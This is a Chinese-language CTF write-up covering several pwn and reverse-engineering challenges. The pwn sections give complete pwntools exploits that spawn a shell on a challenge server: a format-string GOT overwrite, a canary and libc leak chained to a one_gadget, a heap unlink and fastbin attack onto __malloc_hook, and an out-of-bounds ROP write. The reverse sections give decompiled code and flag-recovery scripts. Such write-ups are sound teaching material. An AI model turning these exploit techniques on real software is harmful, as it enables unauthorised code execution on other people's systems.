简单的写一下,还有其他比赛,详细的到时候会发在博客

notebook

这题估计非预期魔咒又发作了,里面那一堆代码根本没用上,直接snprintfprintf的GOT表,前面放个/bin/sh然后后面printf直接就getshell了。注意不能用%x,因为/bin/sh不能带参数,只能后面加很多空格,所以要找个空字符串。还有就是因为要判断snprintf结果的长度跟之前存的相等,不然不会调用printf,所以要把结果长度写到那个全局变量里。

from pwn import *

g_local=False
context.log_level='debug'
if g_local:
	sh =process('./notebook')#env={'LD_PRELOAD':'./libc.so.6'}
	gdb.attach(sh)
else:
	sh = remote("118.31.49.175", 9999)

sh.recvuntil("May I have your name?\n")

payload = "/bin/sh" + "%29$34233s%30$hn" + "%31$n\x00\x00\x00\x00" + p32(0x804A094) + p32(0x804A010) + p32(0x804A08C)

sh.send(payload + "\n")
sh.interactive()

babycpp

get_array里面有溢出,先增加num再do_unique里面可以Leak出canary和libc(main的返回值在libc),因为unique函数会把元素“往前拉”,拉到20个以内就在输出的范围内了。然后具体是哪个下标是通过调试得出的。最后用那个[rsp+0x30] == NULLone_gadget,清空一下后面的栈让他条件满足

from pwn import *

g_local=True
context.log_level='debug'
START_MAIN_OFF = 0x20830
if g_local:
	sh = process('./babycpp')#env={'LD_PRELOAD':'./libc.so.6'}
	#gdb.attach(sh)
else:
	sh = remote("118.31.49.175", 9999)

def init_n(n):
	sh.recvuntil("input n:\n")
	sh.send(str(n) + "\n")
	sh.recvuntil("> ")

def get_array(arr):
	sh.send("2\n")
	sh.recvuntil("input ")
	sh.recvuntil(" num:\n")
	for x in arr:
		sh.send(str(x) + "\n")
	sh.recvuntil("> ")

def change_num(num):
	sh.send("1\n")
	sh.send(str(num) + "\n")
	sh.recvuntil("> ")

def unique():
	sh.send("3\n")
	arr = sh.recvuntil("\n")
	sh.recvuntil("> ")
	split = arr.split(" ")
	return map(int,split[:len(split)-1])

init_n(8)

#------------leak cookie---------------
get_array([2019]*8)
change_num(28)
arr = unique()

cookie = (arr[11] & 0xffffffff) + ((arr[12] & 0xffffffff) << 32)
libc_addr = ((arr[15] & 0xffffffff) + ((arr[16] & 0xffffffff) << 32)) - START_MAIN_OFF
print hex(cookie)
print hex(libc_addr)
one_gadget = libc_addr + 0x4526a
change_num(100)
payload = range(0,22) + [arr[11], arr[12]] + [0, 0] + [(one_gadget & 0xffffffff), (one_gadget >> 32)]
payload += [0] * (100-len(payload))
get_array(payload)
sh.interactive()

NoLeak

这题估计非预期魔咒又发作,我的解法成功率只有1/16。人品好跑个两三次就能getshell,不好差不多跑个20多次也能成功。

漏洞点一个UAF,一个往后溢出。

首先.bss可写可执行,所以Unlink先拿到任意写,然后写shellcode,这是第一步。

第二步因为不能leak,所以要想好办法劫持rip,我最后决定是写__malloc_hook,因为这个全局变量就在unsorted bin前面一点点,所以可以用0day安全一书中的覆盖小端部分字节来绕过ASLR的思路,但是只写一个字节成功不了,因为没那么近,又不可能写3个nibble(4位),所以只能写2个字节,第四个nibble随便设,所以说成功率1/16

from pwn import *

g_local=True
context.log_level='debug'
START_MAIN_OFF = 0x20830
BUF_ADDR = 0x601040
SHELL_CODE_ADDR = 0x601800
if g_local:
	sh = process('./NoLeak')#env={'LD_PRELOAD':'./libc.so.6'}
	gdb.attach(sh)
else:
	sh = remote("118.31.49.175", 9999)

def create(size, data = "A"):
	sh.send("1\x00")
	sh.recvuntil("Size: ")
	sh.send(str(size) + "\x00")
	sh.recvuntil("Data: ")
	sh.send(data)
	sh.recvuntil("Your choice :")

def delete(idx):
	sh.send("2\x00")
	sh.recvuntil("Index: ")
	sh.send(str(idx) + "\x00")
	sh.recvuntil("Your choice :")

def update(idx, size, data):
	sh.send("3\x00")
	sh.recvuntil("Index: ")
	sh.send(str(idx) + "\x00")
	sh.recvuntil("Size: ")
	sh.send(str(size) + "\x00")
	sh.recvuntil("Data: ")
	sh.send(data)
	sh.recvuntil("Your choice :")


sh.recvuntil("Your choice :")

# unlink to write shellcode------------------------------
create(0x100) #0
create(0x110) #1
delete(0)
delete(1)
unlink_payload = p64(0)+p64(0x101)
unlink_payload += p64(BUF_ADDR-0x18)+p64(BUF_ADDR-0x10)
unlink_payload += 'A'*(0x100-0x20)
unlink_payload += p64(0x100) + p64(0x220-0x100)
create(0x220, unlink_payload) #2
delete(1)
#buf[0] = 0x601028 = &buf - 0x18
update(0, 0x20, "\x00" * 0x18 + p64(SHELL_CODE_ADDR))
update(0, 0x100 ,asm(shellcraft.amd64.linux.sh(), arch = 'amd64', os = 'linux'))
# Top Chunk: 0xaeb010
# Last Remainder: 0

# 0xaeb000 PREV_INUSE {
#   prev_size = 0,
#   size = 561,
#   fd = 0x0,
#   bk = 0x20ff1,
#   fd_nextsize = 0x601028,
#   bk_nextsize = 0x601030
# }

create(0x68) #3
create(0xf0) #4
create(0x68, "A" * 0x60 + p64(0x170)) #5
#0x170是预先放好的prev_size

delete(5)
delete(4)
#此时Bins中有一个unsorted bin和一个0x70的fastbin

update(3, 0x70 ,"A" * 0x68 + p64(0x171))
#这里往后溢出改写unsorted bin的大小

create(0xf0) #6
#分配一个chunk,此时unsorted bin和那个0x70的fastbin重合
#所以0x70的fastbin的fd是unsorted bin的指针

update(5, 2, p16(0x8b10-3-0x20)) # 0x?b10,成功率1/16
#把它改成__malloc_hook前面的某个地址
#这里利用的是0x7f伪造fastbin大小的技巧,网上很多资料不详细说了

create(0x60)
create(0x60, "\x00" * 0x13 + p64(SHELL_CODE_ADDR))
#分配两次,把__malloc_hook写成shellcode地址

sh.send("1\x00")
sh.recvuntil("Size: ")
sh.send("1\x00")
sh.interactive()

Dice Game

溢出把种子设为0,然后随机数就可以预测了(PS:其实这题没溢出也能做,因为time(0)是可预测的。。。)

from pwn import *

g_local=False
context.log_level='debug'

if g_local:
	sh = process('./dice_game')#env={'LD_PRELOAD':'./libc.so.6'}
	#gdb.attach(sh)
else:
	sh = remote("47.96.239.28", 9999)

ans = [2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1] #写个简单的C语言程序可以获取到这个

sh.recvuntil(" let me know your name: ")
sh.send("A" * 0x40 + p64(0))

for x in ans:
	sh.recvuntil("Give me the point(1~6): ")
	sh.send(str(x) + "\n")

sh.interactive()

stack2

数组越界栈任意写,所以可以跳过cookie直接构造ROP,/bin/bash那个是坑。。。但是幸运的是sh就在那个字符串里面,能直接执行。。。

from pwn import *

g_local=True
context.log_level='debug'

if g_local:
	sh = process('./stack2')#env={'LD_PRELOAD':'./libc.so.6'}
	gdb.attach(sh)
else:
	sh = remote("47.96.239.28", 2333)

def write_byte(off, val):
	sh.send("3\n")
	sh.recvuntil("which number to change:\n")
	sh.send(str(off) + "\n")
	sh.recvuntil("new number:\n")
	sh.send(str(val) + "\n")
	sh.recvuntil("5. exit\n")

def write_dword(off, val):
	write_byte(off, val & 0xff)
	write_byte(off + 1, (val >> 8) & 0xff)
	write_byte(off + 2, (val >> 16) & 0xff)
	write_byte(off + 3, (val >> 24) & 0xff)

def exit():
	sh.send("5\n")
	sh.interactive()

sh.recvuntil("How many numbers you have:\n")
sh.send("1\n")
sh.recvuntil("Give me your numbers\n")
sh.send("1\n")
sh.recvuntil("5. exit\n")

write_dword(0x84, 0x8048450)
write_dword(0x8C, 0x8048980 + 7)
exit()

babyre

一个rust写的程序,通过特征字符串Google获得,之前也没有学过rust,也是第一次做rust逆向。

动态调试看read调用时的栈帧,发现关键校验函数在critical_A110,其中有3个transform。

  if ( rust_strlen(&a1) == 32 ) //动态调试猜得是strlen
  {
    sub_D500(&a1, v4);
    sub_D250((unsigned __int64)&v25);
    sub_10D10((rust_str *)&v25);
    sub_D250((unsigned __int64)&v23);
    v37 = 1;
    sub_D030(&v25); //前面这几个函数不重要
    v37 = 0;
    *(_QWORD *)v28 = *(_QWORD *)v24;
    *(_OWORD *)v27 = *(_OWORD *)&v23; //这个相当于浅拷贝字符串
    fst_trans((__int64)(&v25.private_2 + 1), (struct _Unwind_Exception *)v27);
    // 第二个参数是字符串src,第一个是dst字符串,用来放transform的结果
    // 以此类推,后面类似
    a2.length = *(_QWORD *)v26;
    *(_OWORD *)&a2.p_str = *(_OWORD *)(&v25.private_2 + 1);
    snd_trans(&v29, &a2);
    *(_QWORD *)v34 = v29.length;
    *(_OWORD *)v33 = *(_OWORD *)&v29.p_str;
    trd_trans((__int64)v31, (struct _Unwind_Exception *)v33);
    v36 = v32;
    *(_OWORD *)v35 = *(_OWORD *)v31;
    sub_9F50((struct _Unwind_Exception *)v35);
    v37 = 0;
  }

其中rust字符串结构体为

00000000 rust_str        struc
00000000 p_str           dq ?
00000008 length_not_sure dq ?
00000010 length          dq ?
00000018 rust_str        ends

大概是这样,不保证完全对。

然后随便看一个trans的函数,其实都差不多,就是核心运算不一样

__int64 __fastcall snd_trans(rust_str *dst, rust_str *src)
{
  _BYTE *v2; // rax
  __int64 v3; // rdx
  _BYTE *v4; // rax
  char v5; // STFF_1
  _BYTE *v6; // rax
  char v7; // STB7_1
  _BYTE *v8; // rax
  char v9; // ST6F_1
  _BYTE *v10; // rax
  char v11; // ST27_1
  unsigned __int64 v13; // [rsp+18h] [rbp-1D0h]
  unsigned __int64 v14; // [rsp+40h] [rbp-1A8h]
  unsigned __int64 v15; // [rsp+60h] [rbp-188h]
  unsigned __int64 v16; // [rsp+88h] [rbp-160h]
  unsigned __int64 v17; // [rsp+A8h] [rbp-140h]
  unsigned __int64 v18; // [rsp+D0h] [rbp-118h]
  unsigned __int64 v19; // [rsp+F0h] [rbp-F8h]
  unsigned __int64 i_mul4; // [rsp+118h] [rbp-D0h]
  unsigned __int64 v21; // [rsp+120h] [rbp-C8h]
  __int64 v22; // [rsp+168h] [rbp-80h]
  __int128 v23; // [rsp+170h] [rbp-78h]
  int v24[2]; // [rsp+180h] [rbp-68h]
  __int64 v25; // [rsp+188h] [rbp-60h]
  __int64 v26; // [rsp+190h] [rbp-58h]
  __int64 v27; // [rsp+198h] [rbp-50h]
  int v28[2]; // [rsp+1A0h] [rbp-48h]
  __int64 v29; // [rsp+1A8h] [rbp-40h]
  __int64 v30; // [rsp+1B0h] [rbp-38h]
  unsigned __int64 i; // [rsp+1B8h] [rbp-30h]
  __int64 v32; // [rsp+1C0h] [rbp-28h]
  __int128 v33; // [rsp+1C8h] [rbp-20h]

  v2 = (_BYTE *)sub_DF80(32, 1);
  *v2 = 0;
  v2[1] = 0;
  v2[2] = 0;
  v2[3] = 0;
  v2[4] = 0;
  v2[5] = 0;
  v2[6] = 0;
  v2[7] = 0;
  v2[8] = 0;
  v2[9] = 0;
  v2[10] = 0;
  v2[11] = 0;
  v2[12] = 0;
  v2[13] = 0;
  v2[14] = 0;
  v2[15] = 0;
  v2[16] = 0;
  v2[17] = 0;
  v2[18] = 0;
  v2[19] = 0;
  v2[20] = 0;
  v2[21] = 0;
  v2[22] = 0;
  v2[23] = 0;
  v2[24] = 0;
  v2[25] = 0;
  v2[26] = 0;
  v2[27] = 0;
  v2[28] = 0;
  v2[29] = 0;
  v2[30] = 0;
  v2[31] = 0;
  sub_D270((__int64)&v22, (__int64)v2, 32LL);
  v26 = 0LL;
  v27 = 8LL;
  *(_QWORD *)v24 = sub_10500(0LL, 8LL);
  v25 = v3;
  *(_QWORD *)v28 = *(_QWORD *)v24;
  v29 = v3;
  while ( 1 )
  {
    sub_103B0(&v30, (__int64)v28);
    if ( !v30 )
      break;
    if ( v30 != 1 )
      BUG();
    v21 = i; //i的变化范围:0-7,看起来没初始化但是应该是通过其他某个指针初始化的(可能是个结构体成员)
      //其实不用管那么多可以调试获得到这个信息
    i_mul4 = 4 * i;//4个一组做运算
    if ( !is_mul_ok(4uLL, i) )
      error((__int64)&off_27A8B0);
    if ( i_mul4 >= 0xFFFFFFFFFFFFFFFDLL )
      error((__int64)&off_27A900);
      //这里还可以看到rust会检查整形溢出,有意思,不过会对速度大打折扣
    v4 = (_BYTE *)idx_access(src, ((_BYTE)i_mul4 + 3) & 0x1F);
      //猜+调试,发现这个函数是idx的访问
      //所以poyoten师傅的猜题技巧是真的牛逼
    if ( *v4 >= 0x7Fu )
      error((__int64)&off_27A928);
    v19 = 4 * v21;
    if ( !is_mul_ok(4uLL, v21) )
      error((__int64)&off_27A950);
    if ( v19 >= 0xFFFFFFFFFFFFFFFDLL )
      error((__int64)&off_27A9A0);
    v5 = *v4 - 0x7F; //可以看到这是核心运算
    *(_BYTE *)sub_10E30((__int64)&v22, ((_BYTE)v19 + 3) & 0x1F) = v5; //这里,assign到dst上
    //.....
    //后面和另外一个函数的分析类似,所以不说了。。。
  }
  v32 = v22;
  v33 = v23;
  dst->p_str = v22;
  *(_OWORD *)&dst->length_not_sure = v33;//这里很明显是把结果拷贝到dst。。。
  sub_D030((struct _Unwind_Exception *)src);
  return (__int64)dst;
}

最后分析完发现第一个trans是打乱位置,第二个是做一些加减法,第三个是做左移右移。

最后那个函数是关键校验,动态调试改eflags或者改al,可以发现第一个branch能输出正确信息,然后这里有一串神秘字节序列,这里再次猜想,题目是想让我们3次transform之后得到这个序列。(感觉越来越领悟到poyoten师傅的猜题神功了

void __fastcall sub_9F50(struct _Unwind_Exception *a1)
{
  _BYTE *v1; // rax
  struct _Unwind_Exception v2; // [rsp+20h] [rbp-98h]
  char v3; // [rsp+70h] [rbp-48h]

  v1 = (_BYTE *)sub_DF80(32, 1);
  *v1 = 218;
  v1[1] = 216;
  v1[2] = 61;
  v1[3] = 76;
  v1[4] = 227;
  v1[5] = 99;
  v1[6] = -105;
  v1[7] = 61;
  v1[8] = -63;
  v1[9] = 145;
  v1[10] = -105;
  v1[11] = 14;
  v1[12] = 227;
  v1[13] = 92;
  v1[14] = -115;
  v1[15] = 126;
  v1[16] = 91;
  v1[17] = 145;
  v1[18] = 111;
  v1[19] = -2;
  v1[20] = -37;
  v1[21] = -48;
  v1[22] = 23;
  v1[23] = -2;
  v1[24] = -45;
  v1[25] = 33;
  v1[26] = -103;
  v1[27] = 75;
  v1[28] = 115;
  v1[29] = -48;
  v1[30] = -85;
  v1[31] = -2;
  sub_D270((__int64)&v2, (__int64)v1, 32LL);
  if ( sub_10E90((__int64)a1, (__int64)&v2) & 1 )
  {
    sub_CCF0(&v2.private_2 + 1, (__int64)&off_27B2B0, 1LL, (__int64)"wrong\n", 0LL);// correct
    sub_16AB0(&v2.private_2 + 1);
  }
  else
  {
    sub_CCF0(&v3, (__int64)&off_27B2C0, 1LL, (__int64)"wrong\n", 0LL);
    sub_16AB0(&v3);
  }
  sub_D030(&v2);
  sub_D030(a1);
}

最后逆操作脚本

def reverse_snd(src):
	res = [0] * 0x20
	for i in xrange(0,8):
		x = i * 4
		res[(x + 3) % 0x20] = (src[(x + 3) % 0x20] + 0x7f) % 0x100
		res[(x + 4) % 0x20] = (src[(x + 4) % 0x20] - 7) % 0x100
		res[(x + 5) % 0x20] = (src[(x + 5) % 0x20] - 18) % 0x100
		res[(x + 6) % 0x20] = (src[(x + 6) % 0x20] - 88) % 0x100
	return res

def reverse_trd(src):
	res = [0] * 0x20
	for i in xrange(0,8):
		x = i * 4
		tmp = src[(x + 9) % 0x20]
		res[(x + 9) % 0x20] = ((tmp << 2) % 0x100) | (tmp >> 6)
		tmp = src[(x + 10) % 0x20]
		res[(x + 10) % 0x20] = ((tmp << 7) % 0x100) | (tmp >> 1)
		tmp = src[(x + 11) % 0x20]
		res[(x + 11) % 0x20] = ((tmp << 4) % 0x100) | (tmp >> 4)
		tmp = src[(x + 12) % 0x20]
		res[(x + 12) % 0x20] = ((tmp << 5) % 0x100) | (tmp >> 3)
	return res

def reverse_fst(src):
	res = [0] *0x20
	for i in xrange(0,8):
		x = i * 4
		res[x] = src[x + 1]
		res[x + 1] = src[x + 3]
		res[x + 2] = src[x]
		res[x + 3] = src[x + 2]
	return res


v1 = [0] * 0x20
v1[0] = 218;
v1[1] = 216;
v1[2] = 61;
v1[3] = 76;
v1[4] = 227;
v1[5] = 99;
v1[6] = -105;
v1[7] = 61;
v1[8] = -63;
v1[9] = 145;
v1[10] = -105;
v1[11] = 14;
v1[12] = 227;
v1[13] = 92;
v1[14] = -115;
v1[15] = 126;
v1[16] = 91;
v1[17] = 145;
v1[18] = 111;
v1[19] = -2;
v1[20] = -37;
v1[21] = -48;
v1[22] = 23;
v1[23] = -2;
v1[24] = -45;
v1[25] = 33;
v1[26] = -103;
v1[27] = 75;
v1[28] = 115;
v1[29] = -48;
v1[30] = -85;
v1[31] = -2;

final = map(lambda x: x % 0x100, v1)
flag = reverse_fst(reverse_snd(reverse_trd(final)))
print "".join(map(chr,flag))

babymips

每次mips都是手撸汇编的。。。大概就是先异或0x20-i,再根据奇偶性做不同的左移右移。。。

loc_400A1C:
lw      $v0, 0x48+i($fp)
addiu   $v1, $fp, 0x48+i
addu    $v0, $v1, $v0
lb      $v1, 4($v0)      # input[i]
#这里注意,i的指针+4就是input,前面"addiu $v1, $fp, 0x48+i"也是load i的指针
#这里再+4,不知道为啥编译器会编译成这样。。。
#后面很多地方同理。。。
lw      $v0, 0x48+i($fp)
nop
andi    $v0, 0xFF
li      $a0, 0x20
subu    $v0, $a0, $v0    # 0x20-i
andi    $v0, 0xFF
sll     $v0, 24
sra     $v0, 24
xor     $v0, $v1, $v0    # input[i] ^ (0x20-i)
sll     $v1, $v0, 24
sra     $v1, 24
lw      $v0, 0x48+i($fp)
addiu   $a0, $fp, 0x48+i
addu    $v0, $a0, $v0
sb      $v1, 4($v0) #xor结果存回去
lw      $v0, 0x48+i($fp)
nop
addiu   $v0, 1
sw      $v0, 0x48+i($fp)
loc_400A78:
lw      $v0, 0x48+i($fp)
nop
slti    $v0, 0x20 # i = [0:0x20)
bnez    $v0, loc_400A1C
nop

然后循环退出,检查前面五个byte,估计就是qctf{或者QCTF{了。

lui     $v0, 0x41
lw      $v1, _fdata
addiu   $v0, $fp, 0x48+input
li      $a2, 5           # n
move    $a1, $v1         # s2
move    $a0, $v0         # s1
jal     strncmp
nop
bnez    $v0, loc_400ACC #wrong
nop
addiu   $v0, $fp, 0x48+input
move    $a0, $v0
jal     check2
nop
b       loc_400ADC
nop

然后看check2

循环,从5到strlen(input)-1,即[5:0x20),循环里面的内容如下

loop:
lw      $v0, 0x28+i($fp)
nop
andi    $v0, 1
beqz    $v0, even
nop
#odd
lw      $v0, 0x28+i($fp)
lw      $v1, 0x28+p_input($fp)
nop
addu    $v0, $v1, $v0
lb      $v0, 0($v0)
nop
sra     $v0, 2           # [i] >> 2 | [i] << 6
sll     $a0, $v0, 24
sra     $a0, 24
lw      $v0, 0x28+i($fp)
lw      $v1, 0x28+p_input($fp)
nop
addu    $v0, $v1, $v0
lb      $v0, 0($v0)
nop
sll     $v0, 6
sll     $v1, $v0, 24
sra     $v1, 24
lw      $v0, 0x28+i($fp)
lw      $a1, 0x28+p_input($fp)
nop
addu    $v0, $a1, $v0
or      $v1, $a0, $v1
sll     $v1, 24
sra     $v1, 24
sb      $v1, 0($v0)
b       loc_400900
nop
even:
lw      $v0, 0x28+i($fp)
lw      $v1, 0x28+p_input($fp)
nop
addu    $v0, $v1, $v0
lb      $v0, 0($v0)      # [i] << 2 | [i] >> 6
nop
sll     $v0, 2
sll     $a0, $v0, 24
sra     $a0, 24
lw      $v0, 0x28+i($fp)
lw      $v1, 0x28+p_input($fp)
nop
addu    $v0, $v1, $v0
lb      $v0, 0($v0)
nop
sra     $v0, 6
sll     $v1, $v0, 24
sra     $v1, 24
lw      $v0, 0x28+i($fp)
lw      $a1, 0x28+p_input($fp)
nop
addu    $v0, $a1, $v0
or      $v1, $a0, $v1
sll     $v1, 24
sra     $v1, 24
sb      $v1, 0($v0)

很多左移右移24的废指令,那些其实是(int)c这样的c生成的代码,这里我们不看高24字节,只看低8位,所以没什么用。

所以最后逐字节爆破脚本

flag = "qctf{"
keys = [0x52, 0xFD, 0x16, 0xA4, 0x89, 0xBD, 0x92, 0x80,
0x13, 0x41, 0x54, 0xA0, 0x8D, 0x45, 0x18, 0x81,  0xDE, 0xFC, 0x95, 0xF0, 0x16, 0x79, 0x1A, 0x15,
0x5B, 0x75, 0x1F]
print len(keys)
for i in xrange(5,0x20):
	for c in xrange(0,0x100):
		fst = (c ^ ((0x20-i)))
		if (i % 2) == 0:
			res = ((fst << 2) % 0x100) | (fst >> 6)
		else:
			res = (fst >> 2) | ((fst << 6) % 0x100)
		if (res == keys[i-5]):
			flag += chr(c)

print flag

asong

这题好像坑了我最久。。。他有一个把字符转成数字的0x400936函数,大概是他会先统计给定歌词每个字符的频率,然后把输入映射到相应字符的频率上,再打乱顺序,做左移右移变换。(打乱顺序的table一开始dump错了,卡了很久,晕。。。)

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _DWORD *freq_song; // ST00_8
  char *v4; // ST08_8

  freq_song = malloc(0xBCuLL);                  // 47*4
  v4 = (char *)malloc(0x50uLL);
  init_0();
  read_input(v4);
  take_mid_part(v4);
  text_freq_stats("that_girl", freq_song); //这里访问了未初始化堆。。。虽然都是0。。。
  critical_400E54(v4, freq_song);
  return 0LL;
}

unsigned __int64 __fastcall critical_400E54(const char *input, _DWORD *freq_song)
{
  int i; // [rsp+18h] [rbp-48h]
  int a3; // [rsp+1Ch] [rbp-44h]
  char freq_input[56]; // [rsp+20h] [rbp-40h]
  unsigned __int64 v6; // [rsp+58h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  a3 = strlen(input);
  for ( i = 0; i < a3; ++i )
    freq_input[i] = freq_song[char_to_num_below47(input[i])];
  transform_freq_input1((unsigned __int8 *)freq_input);
  transform_freq_input2(freq_input, a3);
  write_to_file(freq_input, "out", a3);
  return __readfsqword(0x28u) ^ v6;
}

trans1是根据全局变量的table打乱顺序

void __fastcall transform_freq_input1(unsigned __int8 *freq_input)
{
  u1 v1; // [rsp+13h] [rbp-5h]

  v1.fst.field_4 = 0;
  v1.fst.field_0 = *freq_input;
  while ( tab[v1.snd.field_1] )                 // initially 0
  {
    freq_input[v1.snd.field_1] = freq_input[tab[v1.snd.field_1]];
    v1.snd.field_1 = tab[v1.snd.field_1];
  }
  freq_input[v1.snd.field_1] = v1.snd.field_0;
}

内存结构有点乱,所以我弄了个共用体。

大概就是,一开始v1.snd.field_1是0,然后会做一个赋值,然后用下一个tab的值更新v1.snd.field_1

最后把最后一个byte赋值成最开始备份好的idx为0处的数据。

这个还原思路其实很简单,先弄一个range(0,0x26),然后做这个变换,得到一个新idx映射到旧idx的表,然后用那个信息进行还原。。。

第二个又是一个左移右移,跟前几个差不多,只不过这次是i会取决于ii+1。。。

void __fastcall transform_freq_input2(_BYTE *a1, int a2)
{
  char v2; // [rsp+17h] [rbp-5h]
  int i; // [rsp+18h] [rbp-4h]

  v2 = *a1 >> 5;
  for ( i = 0; a2 - 1 > i; ++i )
    a1[i] = 8 * a1[i] | (a1[i + 1] >> 5);
  a1[i] = 8 * a1[i] | v2;
}

这个不难,不说了。。。

话说这题一个堆变量未初始化,一个堆溢出,搞得我以为是pwn。。。

def rev_bit_oper(src):
	res = [0] * 0x26
	# a1[i] = (a1[i] << 3) | (a1[i + 1] >> 5);
	for i in xrange(0,0x26):
		res[i] |= (src[i] >> 3)
		res[(i + 1) % 0x26] |= ((src[i] << 5) % 0x100)
	return res

out = [0xec, 0x29, 0xe3, 0x41, 0xe1, 0xf7, 0xaa, 0x1d, 0x29, 0xed, 0x29, 0x99, 0x39, 0xf3, 0xb7, 0xa9,
 0xe7, 0xac, 0x2b, 0xb7, 0xab, 0x40, 0x9f, 0xa9, 0x31, 0x35, 0x2c, 0x29, 0xef, 0xa8, 0x3d, 0x4b,
 0xb0, 0xe9, 0xe1, 0x68, 0x7b, 0x41]

tab = [0x16, 0x0, 0x6, 0x2, 0x1E, 0x18, 0x9,
0x1, 0x15, 0x7, 0x12, 0x0A, 0x8, 0x0C, 0x11, 0x17,
0x0D, 0x4, 0x3, 0x0E, 0x13, 0x0B, 0x14, 0x10, 0x0F,
0x5, 0x19, 0x24, 0x1B, 0x1C, 0x1D, 0x25, 0x1F, 0x20,
0x21, 0x1A, 0x22, 0x23]

song_freq = [0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000068, 0x0000001e,
0x0000000f, 0x0000001d, 0x000000a9, 0x00000013,
0x00000026, 0x00000043, 0x0000003c, 0x00000000,
0x00000014, 0x00000027, 0x0000001c, 0x00000076,
0x000000a5, 0x0000001a, 0x00000000, 0x0000003d,
0x00000033, 0x00000085, 0x0000002d, 0x00000007,
0x00000022, 0x00000000, 0x0000003e, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000028, 0x00000047, 0x00000000,
0x00000000, 0x00000042, 0x000000f5]

def get_assign_conversion(tab):
	ret = range(0, 0x26)
	x = 0
	while tab[x] != 0:
		ret[x] = ret[tab[x]]
		x = tab[x]
	ret[x] = 0
	return ret

def get_assign(tab):
	ret = []
	x = 0
	while tab[x] != 0:
		print hex(x) + " = " + hex(tab[x])
		ret.append((tab[x],x))
		x = tab[x]
	ret.append((0,x))
	return ret

def recover_order_2(order2, l):
	ret = [0] * 0x26
	for i in xrange(0,0x26):
		ret[order2[i]] = l[i]
	return ret

def recover_order(order, l):
	ret = list(l)
	rorder = list(order)
	rorder.reverse()
	print rorder
	print len(rorder)
	for o in rorder:
		ret[o[0]] = l[o[1]]
	return ret

def frequecies_to_nums(frequecies, freq_tab):
	ret = []
	for f in frequecies:
		ret.append(freq_tab.index(f))
	return ret

def num_to_chars(num):
	if num == 45:
		return '\n'
	elif num >= 42 and num <= 44:
		return chr(num - 10)
	elif num == 41:
		return '\''
	elif num == 40:
		return ','
	elif num == 39:
		return '.'
	elif num == 37 or num == 38:
		return chr(num + 21)
	elif num == 36:
		return '?'
	elif num == 46:
		return '_'
	elif num >= 0 and num < 10:
		return chr(num + ord('0'))
	elif num >= 10 and num <= 35:
		return chr(num + 87) #55
	else:
		assert False
		return None


rev_snd = rev_bit_oper(out)
print map(hex, rev_snd)
for x in rev_snd:
	assert(x in song_freq)

frequecies = recover_order_2(get_assign_conversion(tab), rev_snd)

print "assign: "
print get_assign(tab)
print map(hex, frequecies)

nums = frequecies_to_nums(frequecies, song_freq)
print map(hex, nums)

print "".join(map(num_to_chars, nums))

Aface

二维码用画图工具把左边的给填充一下,直接复制右上角那个就好,然后base32解码。。。